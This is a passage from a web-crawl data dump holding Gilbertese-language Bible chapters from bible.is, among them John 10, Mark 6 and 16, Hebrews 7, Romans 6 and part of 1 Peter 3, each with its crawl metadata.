koaua: te Kristo Ngkoe?\" 25E kaekaia Iesu ao E taku, \"I a kaman tuangngkami, ma kam aki kakoauai. A riki b'a b'aai ni kakoaua i buku baika I karaoi ni m'akan Tamau; 26ma kam aki kakoauai, b'a tiaki kaain au nanai n tiibu ngkami. 27A ongo b'anaau au tiibu, ao I kinaia, ao a irirai. 28I angania te maiu are aki toki, ao a na bon aki mate; ao akea ae kona ni buribaiia mairou. 29Tamau, are anganai tiibu b'a au tiibu, E korakora riki nakoni b'aai ni kabane; ao akea ae kona n anaiia mairoun Tamau are kakawakiniia. 30Ti temanna Ngai ma te Tama.\" 31A manga anai atibu I-Iutaia b'a a na karebanaia. 32E taku Iesu nakoia, \"I a tia ni kaoti nakoimi m'akuri aika bati aika raraoi mairoun te Tama; e nga i buakoia ae kam na karebanai iai i bukina?\" 33A kaeka ao a kaangai, \"Tiaki i bukin te m'akuri ae e raoiroi ae ti na karebanaiko iai, ma i bukin am taetae ni bakanatua; ao i bukina naba b'a bon te aomata Ngkoe, ao Ko kan riki n Atua.\" 34E kaekaia Iesu ao E taku, \"Tiaki e koreaki n ami Tua ae kaangai, I taku, 'atua ngkami'? 35Ngkana E atongiia te Atua te koraki ake E anganiia ana taeka b'a atua (ao e aki kona ni katinanikuaki taekan te B'aib'ara), 36ao e aera ngkanne b'a kam na kaangai, Ko bakanatua, i bukina ngke I kaangai, Natin te Atua Ngai? Ao bon te Tama ae rineai ao E kanakoai nako aonnaba. 37Ngkana I aki karaoi ana m'akuri Tamau, ao tai kakoauaai; 38ma ngkana I karaoi, e aoria ngkana kam aki kakoauaai, ma kam na kakoauai au m'akuri, b'a kam aonga n ataia ma ni kakoaua b'a iai te Tama i nanou, ao Ngai i nanon te Tama.\" 39A manga kataia riki b'a a na taua Iesu ni kaburea, ma E aki reke i rouia. 40E kitana ikekei Iesu ao E ri nukan te karaanga are te Ioretan nako tani mainikuna nakon te tabo are e b'ab'abetito ngkoa iai Ioane; ao E tiku ikekei. 41A m'aiti aomata ake a roko i rouna; ao a kaangai, \"Akea te m'akuri ae kamimii ae karaoia Ioane, ma ana taeka ni kabane ake e atong i bukin Teuaei a bane ni koaua.\" 42Ao a m'aiti aomata n te tabo arei ake a onimakina Iesu.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/John\/10","date":"2016-06-29T22:51:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783397842.93\/warc\/CC-MAIN-20160624154957-00050-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":996,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.259,"stopwords_ratio":0.417,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke e a toki te Taabati, ao a kabooi baika boiarara Nei Maria are te I-M'aketara ma Tarome ma Nei Maria are tinan Iakobo, b'a a na nako ni kabira rab'atan Iesu. 2Ngke e moantaai n te ingabong ni moani bongin te wiiki, ao a roko n te nne ni mate ngke e a tia n oti taai. 3A i titiraki i rouia ni kangai, Ai antai ae na karabinoa nako te atibu mai matan te nne ni mate i bukira? 4Ao ngke a taraia, ao a noria b'a e a kaman tia ni karabinoaki nako te atibu; b'a e rangi ni buubura te atibu arei. 5Ngke a rin n te nne ni mate, ao a nora te teinimm'aane temanna ae tekateka n te angaatai, ao e b'ainna n te kunnikai ae mainaina ae m'arairai; ao a mimi. 6Ao e taku nako ia, Kam na aki mimi; I ataia b'a kam ukoukora Iesu are te I-Natareta, are E kamateaki n te kaibangaki. E a manga uti, akea ikai; nora te tabo are a kawenea iai rab'atana. 7Ma kam na nako, ao tuangiia ana reirei ma Betero naba b'a ae E ri moami nako Kariraia; ane kam na noria ikekei, n aron are E a tia n tuangngkami. 8A oti nako man te nne ni mate ao a biri nako, b'a a ruru ao a mimi; ao akea te b'ai teuana ae a kaotia nakon temanna b'a a taonaki n te maaku. 9Ngke E a manga uti Iesu mai buakoia maate ni moani bongin te wiiki, ao E kaoti moa nakon Nei Maria are te I-M'aketara, are E a tia ni kaotinakoia mai rouna taimonio ake itiman. 10E nako neiei ao E tuangiia uake raon Iesu, ngke a nanokawaki ma n tang. 11Ma ngke a ongo b'a E a manga uti ao e a tia n noraki iroun neiei, ao a aki kakoauaa. 12Rimwi riki, ao E kaoti n te aro ae e kaokoro iai taraana nakoia raoia ake uoman, ngke a tabe n nakonako n te tabo ae aki maekanaki. 13A oki uakekei, ao a tuangiia reirei ake raoia, ma a aki kakoauai. 14I mwina ao E kaoti nakoia reirei ake tengauni ma temanna ngke a am'arake; ao E takuia i bukin aia aki onimaki ao matoatoan nanoia i mwin tuangakiia irouia te koraki ake a tia n noria i mwin te tai are E a manga uti iai. 15Ao E taku nako ia, Kam na nako n taabo nako ao tataekina te euangkerio nakoia kaain aonnaba ni kabaneia. 16Ane onimaki ao e b'abetitoaki, ao e na kamaiuaki; ma ane aki onimaki ao e na kabuakakaki. 17Ao akana onimaki, a kona n noraki irouia kanikina aikai: n Arau ao a na kanakoia taimonio; ao a na taetae n taetae nako; 18ane a na tabekia naeta; ao ngkana a moi n te b'ai ae kamamate ao a na aki rotaki iai; a na kaaki baiia i aoia aoraki ao ane e na reke i rouia te marurung. 19Ngke E tia te Uea are Iesu n taetae nako ia, ao E uotaki rake nako karawa, ao E tekateka i angaatain te Atua. 20Ao a nako uakekei ni kab'arab'ara n taabo nako, ao E buokiia te Uea, ao E karaoi kanikina ake a na kakoauaki iai b'a e boni koaua te rongorongo are a taekinna.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/16","date":"2016-06-26T01:13:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783394414.43\/warc\/CC-MAIN-20160624154954-00138-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":553,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.456,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KARATIA 3:1111Ma e ataaki b'a akea te aomata i matan te Atua ae e eti reitakina ma Ngaia n te Tua, b'a e kaangai te B'aib'ara, E na maiu ane e kaetaki reitakina ma te Atua n te onimaki. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/3\/11","date":"2016-06-28T07:07:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783396459.32\/warc\/CC-MAIN-20160624154956-00020-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":0.997826457,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9978264570236206}","num_words":54,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.263,"stopwords_ratio":0.352,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Merekitereka arei bon uean Tarem, ao ana ibonga te Atua are Moan te Rietaata. Ngke e oki Aberaam man te buaka are e kamateia iai uea, ao e kaitibo Merekitereka ma ngaia, ao e kakab'aiaki irouni Merekitereka; 2ao Aberaam e anganna kaka teuana te katebwina ni m'akoro mani m'aitin ana b'ai aika kakaokoro nako ake a reke i rouna. Moan nanon te ara ae Merekitereka bon \"Uean te Raoiroi\"; ao i bukina ngkai uean Tarem, ao iai naba nanona ae \"Uean te Raoi\". 3Akea taekan tamana ke tinana ke taekaia ana bakatibu; ao akea naba taekan ana bongi ni bung ke taekani matena. E riki b'a kanga ai aron Natin te Atua; e tiku b'a te ibonga n aki toki. 4Kam nora aroni kakannaton Merekitereka! Aberaam, are te bakatibu ae kakannato, e anganna kaka teuana te katebwina ni m'akoro mani m'aitin ana b'ai aika kakaokoro nako ake a reke i rouna n te buaka. 5Ao ake kanoan Rewi, ake a anganaki te nakoa n ibonga, a tuangaki n te Tua b'a a na anai kaka teuana te katebwina ni m'akoro mani m'aitin aia b'ai aika kakaokoro nako tariia, ake bon ana kariki naba Aberaam. 6E aki riki Merekitereka mairoun Rewi, ma e anaa teuana te katebwina ni m'akoro man ana b'ai nako Aberaam, ao e kakab'aia Aberaam, are teuare anganaki taian taeka n akoi. 7E bane n ataaki b'a te aomata are anga te kakab'aia e kakannato riki nakon are e kakab'aiaki. 8A anganaki ibonga te kabwianib'ai mairouia aomata nako. Ma a bane ni mate ibonga, ma ti Merekitereka ae aki, n ai aron taekana n te B'aib'ara. 9Ma ngaia aei, ngke e anga te kabwianib'ai Aberaam, ao e kona naba n taekinaki ae kangai, b'a Rewi (ake taan anai kabwianib'ai natina) e anga naba te kabwianib'ai. 10B'a e tuai ni bungiaki Rewi ngke e kaitibo Merekitereka ma Aberaam; ma e kona naba n taekinaki ni kangai, b'a rab'atan Aberaam are ana bakatibu Rewi, ai bon rab'atan naba Rewi n te tai anne. 11Ma ngaia aei, b'a ngke arona b'a e kororaoi aron te nakoa n ibonga are iroun Rewi ma ana kariki, (b'a a anganaki aomata te Tua n te nakoa aei), ao bon akea kainanoan te ibonga riki temanna ae kaokoro b'a e na kaoti, n ai aroni Merekitereka, ae tiaki mairoun Aaron. 12Ao ngkana e bitaki aron rinean te ibonga, ao e na bitaki naba te Tua. 13B'a teuae a taekinaki baikai i bukina bon ara Uea, are kaain te baronga ae kaokoro, ae akea temanna i buakoia kaaina ae e a tia n taua te nakoa n ibonga. 14B'a E bon ataaki ara Uea b'a E riki man te baronga are Iuta, ae akea taekana irouni Moote ngke e taekinia ibonga. 15E a oota raoi riki te baere I a tia n taekinna, ngkae e kaoti te ibonga temanna ae ai aroni Merekitereka, 16are riki n ibonga, tiaki i bukina ngke kaain te utu n ibonga ngaia, ma i bukina ngkae e aki totoki maiuna. 17B'a e kaotiotaki taekana ae kangai: \"Bon te ibonga Ngkoe n aki toki n ai aroni Merekitereka.\" 18E kakiaki te tua are rimoa i bukini mamarana ma aki manenana. 19B'a akea te bae e kona ni kakororaoia te Tua; ma iai te kaantaninga ae raoiroi riki, are ngaia ae ti a kona iai n roko ni kaania te Atua. 20I rarikin te kaantaninga ae raoiroi riki, ao bon iai te taeka ni berita. Akea te taeka ni berita ae karaoaki ngke a riki b'a ibonga aomata akekei. 21Ma Iesu E riki n ibonga n te taeka ni berita iroun Teuare kangai nako Ina, \"E taetae n tuea te Uea, ao E na aki bita nanona: 'Bon te ibonga Ngkoe n aki toki.' \" 22Ao e riki naba iai Iesu b'a kakoauan te boraraoi ae raoiroi riki. 23A m'aiti aia koraki n ibonga te koraki arei, ma a bane ni mate ao a aki kona ni wakina nako aia m'akuri. 24Ma Iesu E boni maiu n aki totoki, ao e tiku n aki nako mai Rouna nakoana n ibonga. 25Ma ngaia ae E kona ngkai ao n taai nako ni kamaiuia akana nako n te Atua i Rouna, ngkae E maiu n aki toki b'a E na bubuti i bukiia. 26Iesu ngkanne bon te Ibonga ae Kakannato ae tau i bukira; E kukurei te Atua i Rouna, akea kabuakakaana ma baarekana, E kam'awaki mai rarikiia taani bure, ao E karietataki riki i aon taiani karawa. 27E aki riai i Rouna, n ai aroia ibonga ake a kakannato, b'a E na anga karea n te bong ae koraki, n anga moa i bukin oin ana bure, ao rimwi i bukin aia bure aomata: b'a ti teuana karaoan aei i Rouna, ngke E anga Ngaia b'a te karea. 28B'a te Tua e rineia aomata aika a aki kororaoi n aroia b'a ibonga aika kakannato; ma te taeka n akoi are karaoaki ma te taeka ni bau are roko rimwi i mwin te Tua, e rinea te Nati b'a te ibonga ae kororaoi n arona n aki toki.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/7","date":"2016-06-29T00:30:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783397428.37\/warc\/CC-MAIN-20160624154957-00002-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":843,"character_repetition_ratio":0.065,"word_repetition_ratio":0.026,"special_characters_ratio":0.243,"stopwords_ratio":0.391,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10Bon te b'ai ae riai iroun te Atua, are Ngaia ae kariki b'aai ma ni kateimatoai aroia, b'a E na karaoa Iesu b'a E na bobonga raoi arona n te maraki, b'a a aonga natin te Atua aika bati ni buokanib'ai ma Iesu ni mimitongin te Atua. B'a Iesu boni Ngaia ae kairiia nakon te kamaiuaki.\nEBERA 2:10\nFREE!\nOne App.\n1193 Languages.","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/2\/10","date":"2016-06-30T19:38:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783399117.38\/warc\/CC-MAIN-20160624154959-00167-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000094175338745}","num_words":61,"character_repetition_ratio":0.032,"word_repetition_ratio":0.0,"special_characters_ratio":0.269,"stopwords_ratio":0.361,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao Iesu, E kitana te tabo arei, ao E nako n abana; ao a iria ana reirei. 2Ao ngke e roko te Taabati, ao E moanna n reirei i nanoni m'aneabaia I-Iutaia; a m'aiti aomata ake a mena ikekei, ao ngke a ongora i Rouna ao a bane ni mimi. A taku, \"A reke maia baikai iroun Teuaei? Ao te rabakau ra ae E anganaki? B'a a karaoaki baika kamimii aika ai aron aikai ni baina! 3Tiaki te kabenta Teuaei, are Natini Nei Maria, ao are tarin Iakobo, ma Iote, ma Iuta, ma Timon? Ao tiaki a mena m'anena i roura ikai?\" Ao a kaoti mataia n ribaia. 4E taku Iesu nako ia, \"Iai karinean te burabeti n taabo nako, ma akea n oin abana ao irouia ana bu, ao i nanoni mwengana.\" 5Akea m'akuri aika kamimii ake E kona ni karaoi ikekei, ma E ti katokai baina i aoia tem'angina aika aoraki ni kamaiuia. 6Ao E mimi n aia onimaki. Ao E nako ni kaawa ake a mena ikekei n reireiia aomata. 7E weteia uake tengauni ma uoman Iesu, ao E kanakoia ni kakauomaniia. E anganiia te m'aka i aoia tamnei aika kam'ara, 8ao E tuangiia ni kangai, \"Tai uota te b'ai teuana i aoni kawaimi b'a ti te oko: akea te kariki ae na uotaki, ao akea naba te buua ke te m'ane i nanoni nneia aika a na uotaki. 9A na karin aia kau ni wae, ao a na aki b'ain uoua aia kabaraki!\" 10Ao E a manga taku riki nako ia, N te tabo are kam rin iai, ao tiku n te auti anne ni karokoa kam kitana te tabo anne. 11Ao ngkana kam kawara te kawa teuana ma a aki butim'aingkami kaaina ao a aki kan ongora i roumi, kitanna ao taei bubun aontano mai waemi b'a te b'ai ni kakoaua nako ia b'a a aki mutiakiningkami.\" 12Ao uakekei a nako ao a reireiia aomata b'a a na rairi nanoia. 13A kanakoia taimonio aika bati; ao aomata aika m'aiti aika aoraki a kabiraki i rouia n te b'a, ao a kamaiuaki. 14Ao te uea are Erote, e ongo taekan Iesu; b'a e a rangi n atoatongaki arana. A taku tem'angina, \"E a maiu Ioane are te tia b'abetito mai buakoia maate, ma ngaia ae e a reke i rouna te m'aka ni karaoi m'akuri aika kamimii.\" 15Ma a taku tem'angina, \"Bon Eria.\" Ao tem'angina, a taku, \"Bon te burabeti, n ai aron temanna mai buakoia burabeti ake rimoa.\" 16Ma ngke e ongo taekana Erote, ao e taku, \"Bon Ioane, are I a tia ni korea roroana, ma e a manga maiu!\" 17B'a teuae Erote, e a tia n anga m'akana b'a e na tauaki Ioane b'a te bure; ao e tua b'a e na kabaeaki, ao e na kakaki i nanon te karabuuti. E karaoa aei Erote i bukin Eroria, b'a e a tia n iein ma ngaia, ao neiei boni buun tarina are Biribo. 18B'a e kangai Ioane nakon Erote, \"E aki riai i aan te tua b'a ko na iein ma buun tarim!\" 19Ao Eroria, e nanobuaka ao e kani kamatea Ioane. Ma e aki kona, 20b'a Erote, e maka Ioane, n ataakina i rouna b'a te aomata ngaia ae raoiroi ae tabu; ao e kawakinna raoi. E kan ongongora i rouna, e boni ngae ngke e kakakiriweaki nanona ni katoa te tai are e ongora iai i rouna. 21E reke ana tai Eroria: e reke n ana tai Erote ngke e kauringa ana bongi ni bung, ngke e karaoa te am'arake ae ab'ab'aki i bukiia ake a kakannato n te tautaeka, ao i bukiia mataniwi n taanga ni buaka, ma aomata ake a kakannato i Kariraia. 22Ao ngke e rin ni b'ab'atere natin Eroria te aine, ao e kakukureia nanon Erote ma iruwa; ao e taku te uea nakon te teeinaine, \"Tuangai te b'ai ane ko tangiria, ao N na anganiko.\" 23Ao e taetae n tuea nako ina ni kangai, \"Ane ko tuangai, ao N na anganiko, e aoria ngkana iteran ueau!\" 24Ao e oti nako ao e taku nakon tinana, \"Tera ae N na tuangnga?\" Ao e kaekaa tinana, ni kangai, \"Atuun Ioane are te tia b'abetito.\" 25Ao neierei, e kawaekoa n rin nakon te uea, ao e tuangnga ni kangai, \"I tangiriko b'a ko na anganai ngkainaba atuun Ioane are tia b'abetito i aon te raurau!\" 26E rangi n nanokawaki te uea; ma i bukin ana taeka ni bau are e a tia n atongnga i mataia ana iruwa, ao e aki kan urua ana taeka ni bau nakon neierei. 27Ao e waetata te uea ni kanakoa te tautia temanna, ao e tua b'a e na uotaki atuun Ioane. E nako n te karabuuti te tautia, ao e korea roroan Ioane. 28E uota atuuna i aon te raurau ao e angan te teeinaine, ao ngaia e a manga angan tinana. 29Ngke a ongo ana reirei Ioane taekan te baerei, ao a roko, ao a uota nako rab'atana, ao a kaki i nanon te nne ni mate. 30A oki nakon Iesu taan tuatua, ao a tuangnga b'aai ni kabane ake a tia ni karaoi ao ake a tia n reireiia aomata iai. 31A rangi ni m'aiti aomata ake a roko ao a nako n te aro are e aki reke motirawaia uakekei ao n am'arake naba. Ngaia are E taku Iesu nako ia, \"Ti a nako ni kaokoroira n te tabo ae aki maekanaki b'a kam na motirawa iai teutana.\" 32A toka i aon te boti n ti ngaiia nakon te tabo ae aki maekanaki. 33A m'aiti aomata ake a noriia n nako, ao a kinaia; ma ngaia are a m'ananga mani kaawa nako ao a biribiri n ri moa ri aon te aba, ao a roko n te tabo arei i m'ain rokon Iesu ma ana reirei. 34Ngke E roko Iesu n te aba, ao E noriia aomata aika m'aiti, ao E nanoangaiia, b'a ai aroia tiibu aika akea te tia kawakiniia; ao E moanna n reireiia baika bati. 35Ngke e a kani bong, ao a nako Ina ana reirei, ao a taku, \"E aki maekanaki te tabo aei, ao e a b'aka nako te tai. 36Kanakoia aomata b'a a na nako n abaia taan ununiki ao nakoni kaawa aika i rarikira b'a a na kaboi kanaia iai.\" 37Ao E kaekaia Iesu ni kaangai, \"Kam na anganiia kanaia ngkami.\" A titirakinna ni kangai, \"Ko tangirira b'a ti na nako ni kaboi kariki n uabubua te tenari, ao ti na anganiia b'a a na kanna?\" 38E taku nako ia, \"Iraua te kariki i roumi? Naako, nori.\" Ao ngke a ataia, ao a kangai, \"Nimaai te kariki, ao iai naba uoman te ika.\" 39Ao E tuangiia ana reirei b'a a na kabaneia aomata ni katekatekaia ni kurubu nako i aon uteute aika mawaawa. 40Ma ngaia are a tekateka aomata n aia kurubu nako: iai ae kakatebubua kaaina, ao iai a kakanimangaun. 41E anai ngkanne kariki ake nimaai ma ika ake uoman, ao E tara rake nako karawa, ao E kaitaua te Atua. E urui kariki, ao E anganiia ana reirei b'a a na tib'atib'ai ni kaki i mataia aomata; ao E tib'ai naba ika nakoia aomata ni kabaneia. 42A bane n am'arake ao a ngae. 43Ao ana reirei Iesu a anai tengauni ma uakora b'aene aika on n nikirani kariki ma ika. 44M'aitiia mm'aane ake a am'arake, bon nimaua tengaa. 45Ao ngkekei naba, iai ana m'akuri Iesu are E karaoia are e a karika iai tokaia ana reirei i aon te boti, ao a nako n ri moana nako Betetaita; ao Ngaia, E kaokiia nako aomata. 46Ao ngke E kitaniia aomata, ao E nako n te maunga b'a E na tataro. 47Ngke e a bong, ao e mena te boti i nukan te nama; ao Iesu, E tiku i eta n ti Ngaia. 48E noriia ana reirei b'a a kainano ni bwenarina, b'a e kauntabaia te ang. Ma ngaia are ngke tao marenan te aoa tenua ma onoua n te karangaina, ao E kawariia n nakonako i aon te ran. Ngke E ri rarikiia b'a E nang taonnako, 49ao a noria n nakonako i aon te ran. A taku b'a te anti, ma ngaia are a tang n takarua. 50A bane ni maaku ngke a noria. E waekoa Iesu n taetae nako ia, ao E kangai, \"Kam na karau nanomi, boni Ngai; tai maaku.\" 51E toka i rarikiia n te boti, ao e b'aka te ang. A rangi ni mimi ana reirei, 52i bukina b'a a aki oota b'a tera raoi nanoni kaam'arakeaia aomata ake nimangaa; e aki tau korakoran aia iango b'a a na ataia. 53A ri nanon te nama ao a roko n te aba are Kennetareta, ao a rooa te boti iai. 54Ao ngke a kitana te boti, ao a kinaa naba Iesu aomata; 55ma ngaia are a biribiri ni kabutai taabo nako, ao a uotiia ake a aoraki i aoni nneia ni wene nakon te tabo are a ongo b'a E mena iai Iesu. 56N taabo nako ake E roko iai Iesu, b'a kaawa ke taaun, ke n abaia taan ununiki, ao aomata a kaweneia aoraki n taabo ni m'aakete, ao a butiia Iesu b'a E na kariaia aoraki b'a a na riinga naba ti rabin ana kunnikai; ao ake a riingnga a kamaiuaki.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/6","date":"2016-06-26T00:06:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783393997.50\/warc\/CC-MAIN-20160624154953-00087-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":1547,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.263,"stopwords_ratio":0.437,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao tera ngkanne ae ti na taekinna? Ti na bure nako naba b'a e aonga ni m'aiti iai te akoi? 2Ti na aki. Ti a tia ni mate nakon te bure, ao ti na kanga ni manga uti i nanona? 3Kam aki ataira ngaira aika ti b'abetitoaki nako nanoni Kristo Iesu b'a ti b'abetitoaki nako nanoni matena? 4Ma ngaia ae ti taunaki ma Ngaia ni b'abetitoakira nako nanon te mate; b'a aron Iesu ngke E a manga kamaiuaki mai buakoia maate ni m'aakan te Tama, ao ngaira naba ti na nakonako i nanon te maiu ae boou. 5B'a ngke ti rikirake ni katiteuanaki ma Ngaia ni katotongani matena, ao ai arona naba, b'a ti na rikirake ni katiteuanaki ma Ngaia ni katotongani manga-utina. 6B'a ti ata aei: b'a e tauraki aomatara nikawai i aon te kaibangaki ma Ngaia, b'a e aonga ni kamaunaki te rab'ata ae bure, b'a ti na aki manga toronaki n te bure. 7B'a ane mate, ao e kainaomataki mani m'aakan te bure. 8Ao ngkana ti mate ma Kristo, ao ti kakoaua b'a ti na boni manga uti naba ma Ngaia, 9ngkai ti ata Kristo b'a E aki manga mate ngkae E a tia ni manga uti mai buakoia maate-e aki manga m'aaka te mate i aona. 10B'a ngke E mate, ao E mate ti teuana te tai nakon te bure; ma ngkae E maiu, ao E maiu i bukin te Atua. 11Ao ai aromi naba, kam na iangoingkami b'a kam mate nakon te bure, ma kam maiu i bukin te Atua i nanoni Kristo Iesu. 12Ma ngaia ae tai kauea te bure i nanon rab'atami aika mamate, n ongo iroun aia kaib'ab'aru; 13ao tai angan te bure b'ain rab'atami, b'a a na kabonganaki i bukini kaantaninga aika buakaka; ma kam na anga ngkami nakon te Atua b'a ai aroia aika maiu mai buakoia maate, ao b'ain rab'atami b'a a na kabonganaki i bukini karaoan te eti. 14B'a e na aki uea te bure i aomi; b'a kam aki mena i aan te tua, ma kam mena i aan te akoi. 15Tera ngkanne? Ti na bure, ngkai ti aki mena i aan te tua, ma ti mena i aan te akoi? Ti na aki. 16Kam aki ataia b'a ane kam anga ngkami nakoina b'a ana toro n ongeaba i rouna, ao bon ana toro iai ngkami ngkai kam ongeaba i rouna, b'a tao te bure are e mate te aba iai, ke tao te ongeaba are e reke mai iai kaetan arora n reitaki ma te Atua? 17Ma E na katituaraoaki te Atua, b'a ngke ana toro te bure ngkami, ma kam a tia ni kaaki i nanomi taiani koaua n reirei ake kam a tia n anganaki; 18ao ngke kam kainaomataki man te bure, ao kam riki b'a tooro ngkami i bukini karaoan te eti. 19I taetae n ai aroia aomata i bukini mamaran ami atatai; b'a aromi ngke kam anga b'ain rab'atami ngkoa b'a kaanga ana toro te kammaira ma te akiako n akea tuaami iai, ao ai aromi naba ngkai, b'a kam na anga b'ain rab'atami b'a tooro i bukini karaoan te eti, b'a kam aonga n riki b'a ana aomata ni koaua iai te Atua. 20B'a ngke ana toro te bure ngkami, ao kam aki kabaeaki b'a kam na karaoa nanon te Atua. 21Tera te bae kam karekea ngke kam karaoi ngkoa baike kam mamaa iai ngkai? B'a tokini baikekei te mate. 22Ma ngkai kam kainaomataki man te bure, ao kam riki b'a ana toro te Atua, ao iai mwina nakoimi b'a te riki b'a ana aomata ni koaua te Atua, ao tokina b'a te maiu are aki toki. 23B'a boon te bure te mate; ma ana b'ai n tituaraoi te Atua te maiu are aki toki i nanoni Kristo Iesu are ara UEA.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/6","date":"2016-06-30T03:42:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783397873.63\/warc\/CC-MAIN-20160624154957-00000-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":632,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.255,"stopwords_ratio":0.381,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao i bukimi ainenum'a: kam na aan-taeka irouia oini buumi; b'a e aonga n are ngkana a aki ira nanon ana taeka te Atua mm'aanenum'a, ao a na anaaki nanoia n aroaroia buia. E na aki kainanoaki ami taeka, 2i bukina b'a ane a na noori aroaromi aika itiaki ma ni karinerine. 3Ao katamaroaami ae riai, tiaki katamaroaan tinanikumi ae biran iran atuumi, ao karinani b'aai aika koora, ke kunnikai ake kam kunnikaingkami iai aika bobuaka; 4ma katamaroaami ae riai, bon te aomata ae raba ae b'ain te nano, ae katamaroaami ae aki kona ni mka, ae te nano ae nimamannei ae rau, ae kakawaki i matan te Atua. 5B'a ai ngaia anne aroia aine ngkoangkoa ake a tataromauria te Atua ma ni mwiokoia, ngke a katamaroaia n aroia n iriri nanoia oini buia: 6n ai aron Nei Tara ngke e irira nanon Aberaam, ao e atoatongnga b'a ana toka. Ao kam a riki b'a natina ngkami, ngkana kam kakaraoa ae e raoiroi, ma n aki mamaku n te b'ai teuana. 7Ao i bukimi mm'aanenum'a: kam na maeka ma buumi ma te atatai b'a ngaiia ai aron te m'angko ae mamara riki, ngkai te aine. Kam na karineia, i bukina b'a a na uaia ni b'aib'ai ma ngkami n te b'ai n tituaraoi ae te maiu; b'a a aonga ni kaekaaki ami tataro. 8Kabanean au taeka ngkanne: kam na bane ni b'aina te nano ae ti te arona, ma te namakin ae ti te arona; kam na tangiriia raomi ni Kristian, kam na nanoanga, ao kam na nanorinano. 9Kam na tai kabooa te buakaka n te buakaka, ao te taetaebuaka n te taetaebuaka; ma kam na taetae ni kakab'aiaia aomata; b'a kam weteaki nakon aei, b'a kam aonga ni karekea te kakab'aiaki. 10B'a e kaangai te B'aib'ara, \"Ane kani maiu ni kukurei ma ni kan noori boong aika raraoi, e na kawakina newena man te taetae ae buakaka, ao riana man taekinan te kewe. 11E na kitana te buakaka, ao e na kakaraoa ae e raoiroi; E na ukoukora te raoi, ao e na kekeiaki m'aaka nako iai. 12B'a E tarataraia akana raoiroi te Uea, ao E ongo aia tataro, ma E ekianako nako akana karaoa ae buakaka.\" 13Ao antai ae na kaikoakingkami ngkana a korakora nanomi ni kani karaoa ae e raoiroi? 14Ma ngkana kam boni maraki i bukini karaoan nanon te Atua, ao kam a kab'aia. Kam na tai makuia, ao a na tai kakiriweaki nanomi. 15Ma kam na tabua Kristo i nanomi b'a te Uea; ao kam na tauraoi n te bong ae koraki b'a kam aonga ni kona ni kaeka te aomata ae titirakiningkami bukin te kaantaninga ae mena i nanomi; 16ma kam na kaeka ma te nimamannei ao te maku; kawakini mataniwin nanomi b'a a na itiaki; ao n te aro aei a na mamaa iai te koraki ake a taetae ni kabuakakai aroaromi aika raraoi ngkai kam reitaki ma Kristo. 17B'a e raoiroi riki marakimi i bukini karaoan ae e raoiroi, ngkana anne nanon te Atua, nakoni marakimi i bukini karaoan ae buakaka. 18B'a e 